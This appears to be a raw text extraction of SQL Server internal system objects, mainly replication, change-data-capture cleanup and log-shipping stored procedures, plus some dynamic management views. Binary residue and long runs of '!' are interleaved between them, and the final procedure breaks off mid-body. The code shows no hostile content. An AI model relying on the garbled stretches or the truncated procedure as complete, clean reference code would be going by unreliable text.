nFailed1FailedToDropRefCopyIndex3FltmSpecificErrorOccurred!FltmErrorMessage/FltmSystemErrorOccurred!FltmErrorDetailsRidOverflow3RefMissingIntegerIdentity'EtiDeleteMissingRid;EtiTokenizerDelimitersMissingRidUnreadable=TokenizerRequiresPositiveQgram{Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenanceResources	{0},#_yyyyMMdd_HHmmss_%select object_id(''){0:x02}'yyyy-MM-dd HH:mm:ssFalse	True[]%drop assembly {0} )create assembly {0} from '{0}' 9with permission_set = unsafe+create procedure {0} Aif object_id('{0}') is not null 'drop procedure {0} #create table {0} drop table {0}( {0} {1} ) !alter table {0} add {0} {1} Iselect is_identity from sys.columns 3where [name]=@columnName Cand [object_id]=object_id('{0}') @columnName7select name from sys.types 1where system_type_id =  (select system_type_id from sys.columns where name=@columnName and object_id=object_id('{0}')) #select top 0 {0} into {0} from {0} create clustered index {0} on {0} 
({0}) include ({0}) kselect * from sys.indexes where object_id=object_id('') and name=''-drop index {0} on {1} 1FuzzyLookupRefCopyIndex_@level0type@level0name@level1type@level1name@level2type@level2name@name
@value-sp_addextendedpropertyIselect cast(value as nvarchar({0})) ;from fn_listextendedproperty({0}, {0}, {1}, {0}, {1})GSELECT name FROM sysindexkeys AS K ?JOIN (SELECT * FROM syscolumns WHERE type = [(SELECT type FROM systypes WHERE name='int') ?AND status & 0x80 = 0x80) AS C GON C.colid = K.colid AND K.id=C.id OWHERE K.id = (select OBJECT_ID('{0}')) !AND K.indid = 1 !AND K.keyno = 1 update {0} set [{0}]={1} 	Rids@MetaData)where [{0}] is null Token%and [{0}] is null ColumnNumberTokenProp	Freq)select {0} from {1} wselect count(*) from sys.tables where object_id=object_id('#select top 1 {0} from {!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`/
<2P08 ^8create FUNCTION sys.fn_MStran_unique 
(	@objid int
	,@uname nvarchar(512)
)
returns nvarchar(max)
as
begin
declare @col_list_key nvarchar(max)
			,@colname nvarchar(1024)
			,@definition nvarchar(max)
			,@index_id int

select	@col_list_key = N''

--retrieve unique constraint column list 
declare #col_cur cursor LOCAL FAST_FORWARD for 	
	select quotename (c.name), i.index_id
	from 
		sys.key_constraints f join sys.index_columns i on f.unique_index_id = i.index_id and f.parent_object_id = i.object_id
		join sys.columns c on c.object_id = i.object_id and c.column_id = i.column_id
		join sys.indexes id on id.object_id = @objid and id.index_id = i.index_id
	where f.parent_object_id = @objid and f.type = 'UQ' collate database_default
			and quotename(f.name) = @uname order by i.index_column_id 
open #col_cur
fetch #col_cur into @colname, @index_id
while(@@fetch_status < > -1)
begin
	select @col_list_key = @col_list_key + case len(@col_list_key) when 0 then N'' else N', ' end + @colname 
	fetch #col_cur into @colname, @index_id
end
close #col_cur
deallocate #col_cur

--build unique key definition 
set @definition = N'CONSTRAINT ' + @uname + N' UNIQUE ' + 
					case @index_id when 1 then N'CLUSTERED' else N'NONCLUSTERED' end + 
					N' (' + @col_list_key + N')' 

RETURN (@definition)
end
0C= 8create procedure sys.sp_vupgrade_syscol_status
as
begin
    set nocount on 

    declare @artid int
                ,@src_objid int
                ,@this_col int
                ,@isset int

    -- raiserror('sp_vupgrade_syscol_status', 0,1) with nowait

    -- cursor through table based articles
    declare #hCArt cursor local FAST_FORWARD for 
        select artid, objid from sysarticles where type & 1 = 1
    open #hCArt
    fetch #hCArt into @artid, @src_objid
    while (@@fetch_status <> -1)
    begin
        -- publish the replicated columns for each article
        exec sys.sp_MSarticlecol @artid = @artid, @colid = NULL, @type = 'publish', @operation = 'add'
        --now set pk bits for base column of PK or computed PK columns so SE always log the off-rows
        exec sys.sp_MSSetLogForRepl @tabid = @src_objid
        -- fetch next article
        fetch #hCArt into @artid, @src_objid
    end
    close #hCArt
    deallocate #hCArt
end
0n= 8create procedure [sys].[sp_cdc_cleanup_change_tables]
(
	@threshold			bigint,
	@capture_instance	sysname
)
as
begin
    set nocount on
	
	declare @change_table nvarchar(1000)
		,@stmt nvarchar(max)
		,@retcode int
		,@raised_error int
		,@raised_message nvarchar(4000)
		,@db_name sysname
		,@delete_count bigint
		,@action nvarchar(1000)
		,@instance_name sysname
		,@low_water_mark binary(10)
		,@job_threshold bigint
		,@retention bigint
		
	set @db_name = db_name()
	set @delete_count = 0	

    -- Determine whether all tables are to be cleaned up, or only
    -- those associated with a single capture instance
	declare #hchange_table cursor local fast_forward
	for
		select capture_instance, start_lsn
		from [cdc].[change_tables]
		where (@capture_instance is null) or (capture_instance = @capture_instance)
		
    open #hchange_table
    
    if (@@error != 0)
	begin
		return 1
	end	
  
    fetch #hchange_table into @instance_name, @low_water_mark
    
    set @change_table = N'[cdc].' + 
		quotename(@instance_name + N'_CT')
  
    while (@@fetch_status<>-1)
    begin
    
		BEGIN TRY
		
			select @raised_error = 0, @delete_count = 1
	
			while (@low_water_mark is not null) and (@delete_count > 0) 
			begin
	
				-- Delete up to @threshold qualifying rows while 
				-- the number of deleted rows is positive
				set @stmt = N'delete top( @p1 ) ' + 
					N' from ' + @change_table +
					N' where __$start_lsn < @p2 '
				exec sp_executesql @stmt = @stmt
					,@params = N'@p1 bigint, @p2 binary(10)'
					,@p1 = @threshold
					,@p2 = @low_water_mark
			
				set @delete_count = @@rowcount
					
			end
			
		END TRY
		
		BEGIN CATCH
		
			-- This is a best effort attempt to delete entries
			set @raised_error = ERROR_NUMBER()
			set @raised_message = ERROR_MESSAGE()
			
		END CATCH
		
		-- If an error was raised, return an informational message
		-- and keep going.
		if (@raised_error <> 0)
		begin
			raiserror(22852, 10, -1, @db_name, @stmt, @raised_error, @raised_message)
		end	

        fetch #hchange_table into @instance_name, @low_water_mark
        set @change_table = N'[cdc].' + 
			quotename(@instance_name + N'_CT')

    end
    
    close #hchange_table
    deallocate #hchange_table
    
    select @raised_error = 0, @delete_count = 1
    
	-- Delete all entres in [cdc].[lsn_time_mapping] with @start_lsn less
	-- than the smallest current low water mark of the capture instances.
	BEGIN TRY
	
		set @action = N'select @low_water_mark = min(start_lsn) [cdc].[change_tables]'
		select @low_water_mark = min(start_lsn) from [cdc].[change_tables]
		
		-- If there are no defined capture instances, the value returned for @low_water_mark
		-- is null. In this case, compute a low water mark based upon database retention time.
		if (@low_water_mark is null)
		begin
			-- Determine the database retention time
			exec @retcode = sp_cdc_get_cleanup_retention @retention output, @job_threshold output
			if @retcode <> 0 or @@error <> 0
				return 1

			-- Compute a new low water mark based upon the database retention time
			set @low_water_mark = [sys].[fn_cdc_compute_low_water_mark](@retention)
			if @@error <> 0 
			begin
				raiserror(22923, 16, -1, @db_name, @retention)
				return 1
			end
		end

		set @action = N'delete top (@threshold) from [cdc].[lsn_time_mapping] where start_lsn < @low_water_mark'
		if (@low_water_mark is not null)
		begin
			while (@delete_count > 0) 
			begin
	
				-- Delete up to @threshold qualifying rows while 
				-- the number of deleted rows is positive
				delete top (@threshold) from [cdc].[lsn_time_mapping]
				where start_lsn < @low_water_mark
			
				set @delete_count = @@rowcount
				
			end
		end
	 
		
	END TRY
	
	BEGIN CATCH
	
		-- This is a best effort attempt to delete obsolete entries in cdc.lsn_time_mapping
		set @raised_error = ERROR_NUMBER()
		set @raised_message = ERROR_MESSAGE()
		
	END CATCH
	
	-- If an error was raised, return an informational message and keep going.
	if (@raised_error <> 0)
	begin
		raiserror(22853, 10, -1, @db_name, @action, @raised_error, @raised_message)
	end	

    return 0
    
end
0"A P89
hC>DTE0YF@ \8Ysh>8^|!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`E<C
ў0t G8CREATE PROCEDURE sys.sp_MSreinit_subscription
(
    @publisher_name sysname,
    @publisher_db sysname,
    @publication sysname = 'all',
    @subscriber_name    sysname = 'all',
    @subscriber_db sysname = 'all'
)
as
begin
    set nocount on
    declare @proc nvarchar(2048)
    declare @retcode int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    if @publisher_name IS NULL or NOT EXISTS (select * from master.dbo.sysservers as ss, dbo.MSpublications as msp
        where lower(ss.srvname) = lower(@publisher_name) and msp.publisher_id = ss.srvid)
    begin
        return (1)
    end

    if @publisher_db IS NULL
        select @publisher_db = ''

    select @proc = quotename(ltrim(rtrim(@publisher_name))) + '.' + quotename(@publisher_db) + '.dbo.sp_reinitsubscription '
    exec @retcode = @proc @publication, 'all', @subscriber_name, @subscriber_db

    return (@retcode)
end
0; 8 
-- add it
create view sys.dm_pdw_nodes_tran_commit_table as
select *, convert(int, null) pdw_node_id from sys.dm_tran_commit_table
0%5 g
8
--
-- Name:    
--          sp_IHpublication_validation
--          
-- Description: 
--          HREPL publication validation steps
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success / failure
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHpublication_validation
(
	@publication	sysname,
	@rowcount_only	smallint = 1,	-- type of check requested
	@full_or_fast	tinyint = 2,	-- full (0) fast (1), or conditional fast (2)  method to calculate rowcount
	@shutdown_agent	bit = 0,		-- shut down agent after validation if 1
	@publisher		sysname
)
AS
BEGIN
	set nocount on

	declare @publication_id	int
	declare @next_article	sysname
	declare @curr_article	sysname
	declare @retcode		int
	declare @publish_bit	int
	declare @repl_freq		int
	declare @fetch_status	int

	set @publish_bit = 1
	
	-- Check if the database is published for transactional
	if sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
	begin
		raiserror(20026, 16, -1, @publication)
		return 1
	end

	-- Get Publication Information
	select	@publication_id = p.pubid,
			@repl_freq = repl_freq
	from	syspublications p,
			MSpublications m,
			master.dbo.sysservers s
	where	p.name = @publication
	  and	p.pubid = m.publication_id
	  and	s.srvid = m.publisher_id
	  and	s.srvname = @publisher
		
	if @publication_id is null
	begin
    	raiserror(20026, 16, -1, @publication)
    	return 1
	end

	-- Article validation is not valid for snapshot publications
	if @repl_freq <> 0
	begin
    	raiserror(21484, 16, -1, @publication)
    	return 1
	end

	declare hC CURSOR LOCAL FAST_FORWARD for
	select	a.name
	from	sysarticles a,
			MSarticles m,
			master.dbo.sysservers s
	where	a.pubid = @publication_id
	  and	a.artid = m.article_id
	  and	a.pubid = m.publication_id
	  and	s.srvid = m.publisher_id
	  and	s.srvname = @publisher
	  and	(status & 1) <> 0				-- active articles only
	  and	(type & 1) <> 0					-- only checksum tables/views.

	open hC
	fetch hC into @next_article
	
	select @fetch_status = @@fetch_status

	while (@fetch_status = 0)
	begin
		-- Cache current article value
    	set @curr_article = @next_article

    	-- Look ahead to next article
    	fetch hC into @next_article
    	select @fetch_status = @@fetch_status

    	-- If we are at the last article, pass the @shutdown_agent value
    	if (@fetch_status = -1) 
    	begin
			exec @retcode = sys.sp_article_validation	@publication	= @publication,
        												@article		= @curr_article,
        												@rowcount_only	= @rowcount_only,
            											@full_or_fast	= @full_or_fast,
            											@shutdown_agent	= @shutdown_agent,
            											@reserved		= 1,
            											@publisher		= @publisher

    	end
    	else
    	begin
        	exec @retcode = sys.sp_article_validation	@publication	= @publication,
        												@article		= @curr_article,
        												@rowcount_only	= @rowcount_only,
														@full_or_fast	= @full_or_fast,
														@reserved		= 1,
														@publisher		= @publisher
		end

    	if @retcode <> 0 or @@error <> 0
    	begin
			close hC
			deallocate hC
			return 1
    	end
	end

	close hC
	deallocate hC

	return 0
end	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
    @property					nvarchar(255) = NULL,
    @value						nvarchar(255) = NULL,
    @force_invalidate_snapshot	bit = 0,
    @force_reinit_subscription	bit = 0,
    @publisher					sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changepublication'
	
	EXEC @retcode = @cmd
					@publication,
					@property,
					@value,
					@force_invalidate_snapshot,
					@force_reinit_subscription,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
0
Y@ 	8create procedure sys.sp_add_log_shipping_primary_secondary 
(
    @primary_database sysname
    ,@secondary_server sysname
    ,@secondary_database sysname
    ,@overwrite bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@primary_id uniqueidentifier

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    
    --
    -- Primary database should exist
    --
    select @primary_id = primary_id
    from msdb.dbo.log_shipping_primary_databases
    where primary_database = @primary_database
    if (@primary_id is null)
    begin
        raiserror(32010, 10, 4, @primary_database)
        return 0
    end

    --
    -- Parameter Check: @secondary_server
    --
    if @secondary_server is null or @secondary_server=N''
    begin
        raiserror (32052, 16, -1, N'@secondary_server')
        return 1
    end

    --
    -- Parameter Check: @secondary_server
    --
    if @secondary_database is null or @secondary_database=N''
    begin
        raiserror (32052, 16, -1, N'@secondary_database')
        return 1
    end
    
    --
    -- secondary should not exist already
    --
    if exists (select * from msdb.dbo.log_shipping_primary_secondaries
                where primary_id = @primary_id
                    and secondary_server = upper(@secondary_server)
                    and secondary_database = @secondary_database)
    begin
        if (@overwrite = 0)
        begin
            raiserror(32012, 10, 1, @secondary_server, @secondary_database, @primary_database)
            return 1
        end
        else
        begin
            delete msdb.dbo.log_shipping_primary_secondaries
            where primary_id = @primary_id
                and secondary_server = upper(@secondary_server)
                and secondary_database = @secondary_database
        end
    end
    --
    -- add a row in msdb.dbo.log_shipping_primary_secondaries
    --
    insert into msdb.dbo.log_shipping_primary_secondaries (
        primary_id, secondary_server, secondary_database)
    values (@primary_id, upper(@secondary_server), @secondary_database)
    if (@@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
02W 8create procedure sys.sp_MScreatelightweightprocstriggersconstraints
	@pubid			uniqueidentifier,
	@artid			uniqueidentifier,
	@next_seed		bigint= NULL,	-- for id range mgt
	@range			bigint= NULL,	-- for id range mgt
	@threshold		int= NULL		-- for id range mgt
as
	set nocount on

	declare @retcode	int

	-- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1
    
	begin tran
	save tran sp_MSlightweightprocsandtriggers

	-- create the procedures
	exec @retcode= sys.sp_MScreatelightweightarticleprocs @pubid= @pubid, @artid= @artid
	if @@error <>0 or @retcode <> 0 goto Failure

	-- create the triggers if the article is updateable
	if 1 = sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
	begin
		exec @retcode= sys.sp_MScreatelightweighttriggers @artid= @artid
		if @@error <>0 or @retcode <> 0 goto Failure
	end
	else
	begin
		-- Create trigger that disallows local updates/inserts/deletes.
		exec @retcode= sys.sp_MScreatedownloadonlytriggers @artid= @artid
		if @@error <> 0 or @retcode <> 0 goto Failure
	end

	-- set the identity range
	if @range is not null
	begin
		declare @objid int

		select @objid= objid from dbo.sysmergearticles where
			pubid = @pubid and artid = @artid
		if @objid is null goto Failure
		
		exec @retcode= sys.sp_MSreseed 
								@objid= @objid, 
								@next_seed= @next_seed,
								@range= @range
		if @@error <>0 or @retcode <> 0 goto Failure

		if not exists (select objid from dbo.MSmerge_idrange where objid = @objid)
		begin   
			insert into dbo.MSmerge_idrange	(objid, max_identity, range, threshold) 
									values (@objid, @next_seed + @range, @range, @threshold)
		end
		if @@error <>0 or @retcode <> 0 goto Failure
	end

	commit tran
	return 0

Failure:
	rollback tran sp_MSlightweightprocsandtriggers
	commit tran
	return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H8`<
F0 D83h|
$0]P 8CREATE FUNCTION sys.dm_exec_text_query_plan(@handle varbinary(64), @stmt_start_offset int = 0, @stmt_end_offset int = -1)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE DM_EXEC_TEXT_QUERY_PLAN, @handle, @stmt_start_offset, @stmt_end_offset)
0} O8create procedure sys.sp_MSispeertopeeragent
(
	@agent_id 	int,
	@is_p2p		int output
)
as
begin
	set nocount on
	
	declare @retcode 			tinyint,
			@publisher_db 		sysname,
			@publisher_id 		int,
			@publication 		sysname,
			@num_p2p_pubs int

    declare @OPT_ENABLED_FOR_P2P int

	select @OPT_ENABLED_FOR_P2P = 0x1

	-- security check - the distribution agent must have access
	exec @retcode = sp_MScheck_pull_access @agent_id = @agent_id, @agent_type = 0
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end
	
	-- Has to be executed from distribution database
	if sys.fn_MSrepl_isdistdb (db_name()) != 1
	begin
		-- sp_MSispeertopeeragent can only be executed in the distribution database.
		raiserror (21482, 16, -1, 'sp_MSispeertopeeragent', 'distribution')
		return 1
	end

   	select @publisher_db 	= publisher_db,
	        @publisher_id 	= publisher_id,
	        @publication 	= publication
        from MSdistribution_agents 
        where id = @agent_id

    -- find out if there are any PeerToPeer publications for this agent
    if lower(@publication) = 'all'
	begin
		--shared agent (one agent for all publications that go to a single subscriber)
		--Get all the subscriptions for this agent, then find out all the publications
		select @num_p2p_pubs = count(*)
			from dbo.MSsubscriptions mss 
				inner join dbo.MSpublications msp 
					on mss.publisher_id 		= msp.publisher_id
						and mss.publisher_db 	= msp.publisher_db
						and mss.publication_id 	= msp.publication_id
			where mss.agent_id = @agent_id
				and (msp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
	end
    else
	begin
		--independent agent (one agent for each publication)
		select @num_p2p_pubs = count(*)
			from dbo.MSpublications msp
			where msp.publication 		= @publication
				and	msp.publisher_db 	= @publisher_db
				and msp.publisher_id 	= @publisher_id
				and (msp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
	end

	if @num_p2p_pubs > 0
		select @is_p2p = 1
	else
		select @is_p2p = 0

	return 0
end
0XW@ 8
--
-- Name:	
--		sp_MShelpsummarypublication
--			
-- Description: 
--		Called by Object Explorer to populate the Summary Page
--		for a publication
--
-- Security: 
--		Public, PAL access
--
-- Returns: 	
--		0 : success
--		1 : failure 		 
--

CREATE PROCEDURE sys.sp_MShelpsummarypublication
(
	@oename nvarchar(260),
	@oetype nvarchar(100)
)
AS
BEGIN
	DECLARE	@cmd			nvarchar(1000),
			@publication	sysname,
			@publisher_db	sysname,
			@publisher_type	sysname,
			@pos_pubname	int,
			@pos_pubtype	int,
			@retcode		int

	-- Verify oename parameter
	IF (@oename is null OR LEN(@oename) = 0)
	BEGIN
		RAISERROR(7801, 16, -1, @oename)
		RETURN 1
	END

	SET @pos_pubname = PATINDEX(N'%:%', @oename)
	SET @pos_pubtype = PATINDEX(N'%(%)', @oename)

	SELECT	@publication    = LEFT(@oename, @pos_pubname - 1),
			@publisher_db   = CASE WHEN @pos_pubtype > 0
								THEN SUBSTRING(@oename, @pos_pubname + 1, @pos_pubtype - @pos_pubname - 1)
								ELSE SUBSTRING(@oename, @pos_pubname + 1, LEN(@oename) - @pos_pubname)
							  END,
			@publisher_type = CASE WHEN @pos_pubtype > 0
								THEN SUBSTRING(@oename, @pos_pubtype + 1, LEN(@oename) - @pos_pubtype - 1)
								ELSE NULL
							  END

	IF (@publication IS NULL OR LEN(@publication) = 0 OR @publisher_db IS NULL OR LEN(@publisher_db) = 0)
	BEGIN
		RAISERROR(21423, 16, -1, @publication) --The security check is later, so we want to raise the more generic error 
		RETURN 1
	END

	--
	-- execute the actual proc in publishing db
	-- security check is done inside
	--

	IF @publisher_type IS NULL OR LEN(@publisher_type) = 0
	BEGIN
		-- SQL Server publication
		SELECT @cmd = QUOTENAME(RTRIM(@publisher_db)) + '.sys.sp_publicationsummary'
		EXEC @retcode = @cmd @publication = @publication
	END
	ELSE
	BEGIN
		-- HREPL publication
		EXEC @retcode = sys.sp_publicationsummary	@publication = @publication,
													@publisher   = @publisher_db
	END

	RETURN @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`%<
_x"0x@ 8CREATE VIEW sys.dm_exec_query_memory_grants AS
	SELECT A.session_id, A.request_id, A.scheduler_id, A.dop, A.request_time, A.grant_time,
	A.requested_memory_kb, A.granted_memory_kb, A.required_memory_kb, A.used_memory_kb, A.max_used_memory_kb,
	A.query_cost, A.timeout_sec,
	convert(smallint, A.is_small) as resource_semaphore_id, 
	B.queue_id, B.wait_order, B.is_next_candidate, B.wait_time_ms,
	A.plan_handle, A.sql_handle,
	A.group_id, A.pool_id, A.is_small, A.ideal_memory_kb
	FROM OpenRowset(TABLE DM_EXEC_QE_GRANTSINFO) A 
	LEFT OUTER LOOP JOIN OpenRowset(TABLE DM_EXEC_QE_GRANTWAITERS) B
	ON A.session_id=B.session_id and A.request_id=B.request_id and A.sql_handle=B.sql_handle and A.plan_handle=B.plan_handle
0 d8create function sys.dm_fts_index_keywords(
    @dbid int,
    @objid int)
returns table as return
	select 
	keyword, 
	fulltext_display_term(keyword) display_term, 
	colid column_id, 
	sum(doccount) document_count
	from openrowset(TABLE FTCOMPINDEX, @dbid, @objid, 0) compidx 
	group by keyword, colid, unusedPid
0느 	8create procedure sys.sp_MSget_col_position (
    @objid int,
    @artid int,
    @key     sysname, 
    @colpos  sysname = NULL output,
    @art_col int = NULL output,
    @get_num_col bit = 0,
    @num_col  int = NULL output,
    @this_col int = null output,
    @skipcomputedcol bit = 0
    ,@agent_id	int = NULL  	-- null @agent_id means this is executed at pub side, 
    										-- pub queries sysarticlecolumns for article column partition, 
    										-- sub uses MSsubscription_articlecolumns
)
as
BEGIN  
    declare @colname      sysname
                ,@ccoltype     sysname
                ,@isset           int

    select @num_col = 0
    --
    -- Use a cursor to walk through the columns
    --
    declare #hCColid cursor local fast_forward for 
        select column_id, name from sys.columns where object_id = @objid order by column_id asc
    open #hCColid
    fetch #hCColid into @this_col, @colname
    while (@@fetch_status <> -1)
    begin
        if @artid is NULL
        begin
            --
            -- processing updating trigger generation on subscriber.
            -- all columns are to be processed
            --
            select @isset = 1
        end
        else
        begin
            --
            -- processing updating procedure generation on publisher.
            -- only replicated columns are to be processed
            --
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, 1, @agent_id
        end
        --
        -- If this is a computed column check if we need to skip it
        --
        if @isset = 1
        begin
            if (columnproperty( @objid, @colname, 'IsComputed' ) = 1 and @skipcomputedcol = 1)
                select @isset = 0
        end
        --
        -- Check we have a name match
        --
        if @isset = 1
        begin
            select @num_col = @num_col + 1
